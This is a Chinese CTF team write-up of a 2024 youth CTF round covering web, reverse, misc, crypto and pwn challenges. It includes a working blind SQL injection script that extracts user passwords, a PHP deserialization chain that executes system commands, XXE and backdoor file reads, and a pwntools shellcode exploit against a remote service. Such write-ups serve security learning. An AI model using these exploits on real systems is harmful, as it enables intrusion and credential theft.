青少年CTF擂台挑战赛 2024 #Round 1

sixone战队WriteUp

一、   战队信息

战队名称:sixone战队


战队排名:39

个人榜单:15

二、   解出情况

Web1(EasyMD5)解出

Web2(PHP的后门)解出

Web3(PHP的XXE)解出

Web4(Easy_SQLi)解出

Web5(雏形系统)解出

Reverse1(来打CS咯)解出

Misc1(CTFer Revenge)解出

Misc4(小光的答案之书)解出

Pwn1(j简单的数学题)解出

Pwn2(Easy_Shellcode)解出

Crypto1(解个方程)解出

Crypto2(ez_log)解出

Crypto5(四重加密)解出

解释:

解出情况中写了题目名称后面真的不想写了,累死了,

别问我为什么脚本地址和环境地址不一样,因为wp是我所有题实在做不出来才写的

但是我发现还不如边做边写哎。

三、   解题步骤

Web1:

环境启动

然后发现传输两个pdf,题目解释md5

感觉像我之前做的题md5碰撞

传一个,240610708然后另一个传QNKCDZO

啊哈哈出来了,还行

Web2:

环境启动

额,看着熟悉

NSSROUND18好像考过


PHP/8.1.0-dev漏洞

居然有哦豁,那就ls然后查看根

我直接反手一个cat /flag

Web3:

环境启动

题目显示xxe漏洞,还给了版本号,直接搜一下,啊,公开wp??

一定要去进入这几个文件夹才可以哦

公开处刑,然后直接file:///flag即可

Web4:

环境启动


这,不是,我为什么回到了一年之前做题,一个时间盲注脚本即可跑出来

import requests

url = 'http://challenge.qsnctf.com:32440/login.php'
res = ""

for i in range(1, 48, 1):
    for j in range(32, 128, 1):
        # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'
        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"
        payload = f"if(ascii(substr((select group_concat(password) from users),{i},1))>{j},sleep(1.1),0)#"
        data = {
            'uname': "admin' and " + payload,
            'psw': 123456
        }
        try:
            r = requests.post(url=url, data=data, timeout=0.6)
        except Exception as e:
            continue

        res += chr(j)
        print(res)
        break

过程:

Vs加python跑傻了,两台kali都跑错了,哎,蚌埠住了,跑了一个小时。

Web5:

开环境

没事扫扫目录

源代码

最后发现这么一堆,好样的,上网搜了一下,emmm,eval钩子,直接eval换成echo就可,然后解出来是这么个反序列化呜呜呜,又是反序列化

<?php
error_reporting(0);

class shi
{
    public $next;
    public $pass;
    public function __toString(){
        $this->next::PLZ($this->pass);
    }
}
class wo
{
    public $sex;
    public $age;
    public $intention;
    public function __destruct(){
        echo "Hi Try serialize Me!";
        $this->inspect();
    }
    function inspect(){
        if($this->sex=='boy'&&$this->age=='eighteen')
        {
            echo $this->intention;
        }
        echo "🙅18岁🈲";
    }
}

class Demo
{
    public $a;
    static function __callStatic($action, $do)
    {
        global $b;
        $b($do[0]);
    }
}

$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
    echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
    echo("登录成功");
}

?>

然后开始构造,哎,烦死

<?php

/*
    wo::__destruct
        sex boy
        age eighteen
        intention obj(shi)
    shi::__toString
        next obj(Demo)
        pass 恶意参数
    $_POST['password'](pass)
*/

<?php

class Demo{}

class shi{
    public $next;
    public $pass = 'cat /flag';
}

class wo{
    public $sex = 'boy';
    public $age = 'eighteen';
    public $intention;
}

$o = new wo();
$o -> intention = new shi();
$o -> intention -> next = new Demo();

echo urlencode(serialize($o));

// username=O%3A2%3A%22wo%22%3A3%3A%7Bs%3A3%3A%22sex%22%3Bs%3A3%3A%22boy%22%3Bs%3A3%3A%22age%22%3Bs%3A8%3A%22eighteen%22%3Bs%3A9%3A%22intention%22%3BO%3A3%3A%22shi%22%3A2%3A%7Bs%3A4%3A%22next%22%3BO%3A4%3A%22Demo%22%3A0%3A%7B%7Ds%3A4%3A%22pass%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D&password=system

/*
    wo::__destruct
        sex boy
        age eighteen
        intention obj(shi)
    shi::__toString
        next obj(Demo)
        pass 恶意参数
    $_POST['password'](pass)
*/

最后解出来了,麻木了


Reverse:

解出来是这些,然后告诉我


我猜测病毒肯定有,好像金砖东部赛题呀,扔微步



 

正好flag是ip加端口,完美

幸亏没有在本机打开,要不然上马子了

Misc1:

告诉我反方向开始移动,emmm我怎么感觉还要左右移动呢

好吧,直接上脚本

with open("./是什么呢(仔细观察).txt", "r") as f:
    data = f.read().split("\n")

data = [i[::-1] for i in [i.split("|  ")[1][::-1].split(" ", 1)[1].strip()[::-1] for i in data][::-1]]

print(data[0:5])


with open("./res.txt", "w+") as f:
    f.write(" ".join(data))
 

然后跑出来一个正常的文件,扔到解密软件去解密即可

但是,出来的图片也玩这个

那就左—>右—>中间(先倒过来然后是这个顺序flag出来了),一切全靠试

Misc4:

这不就是圣堂骑士密码吗

说实话,第一个符号我是真不知道为啥是l

看出来后面三个是ife,根据我所知道的英文,直接猜life

然后关注之后回复就有了

Crypto1:


拿着个考验干部??网上有直接改然后跑

出来了

Crypto2:

我是脚本小子,好一个动态题,下载一次改一次c

from Crypto.Util.number import long_to_bytes
from sympy.ntheory.residue_ntheory import discrete_log

p = 3006156660704242356836102321001016782090189571028526298055526061772989406357037170723984497344618257575827271367883545096587962708266010793826346841303043716776726799898939374985320242033037
g = 3
c = 761923123475761383643641863728762428894186297266893605678501914237826914021233642809418664753150698518882808798430847919002355072768724597933562846712444037816907639899829511385593432037099

m = discrete_log(p, c, g)
print(f'm={m}')
print(long_to_bytes(m))


Crypto5:

第一层,我直接010打开,然后熟悉的base系列

好一段十进制

好熟悉,这不纯纯维吉尼亚密码吗你要是不给key我就以为是栅栏或者凯撒了

最后凯撒来一波

Pwn1:

算术题

脚本来喽

from sympy import symbols, Eq, solve

x = symbols('x')

e = Eq(2*15**2 - 1/x + 15 - 6, 458.875)

s= solve(e, x)

还有第二种


Chatgpt永远的神,因为最后一个数太难算,所以建议从一开始就写脚本

Pwn2:

环境打开

然后放虚拟机

直接用shellcraft.sh()然后用nop滑梯填充一下返回到泄露的输入地址即可

脚本

from pwn import *

context(log_level='debug', os='linux', arch='amd64')

proname = './easy-shellcode'

io = remote("challenge.qsnctf.com",31381)

\#io = gdb.debug(proname,"break main")

elf = ELF(proname)

addr = io.recvuntil(b'\n',drop=True)

addr = int(addr,16)

p= asm(shellcraft.sh())

p = p.ljust(0x108,b'\x90')

io.sendline(p+p64(addr))

io.interactive()
咱就是说,以后pwn简单点吧,我是pwn的废物

  • 23
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Gscsed

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值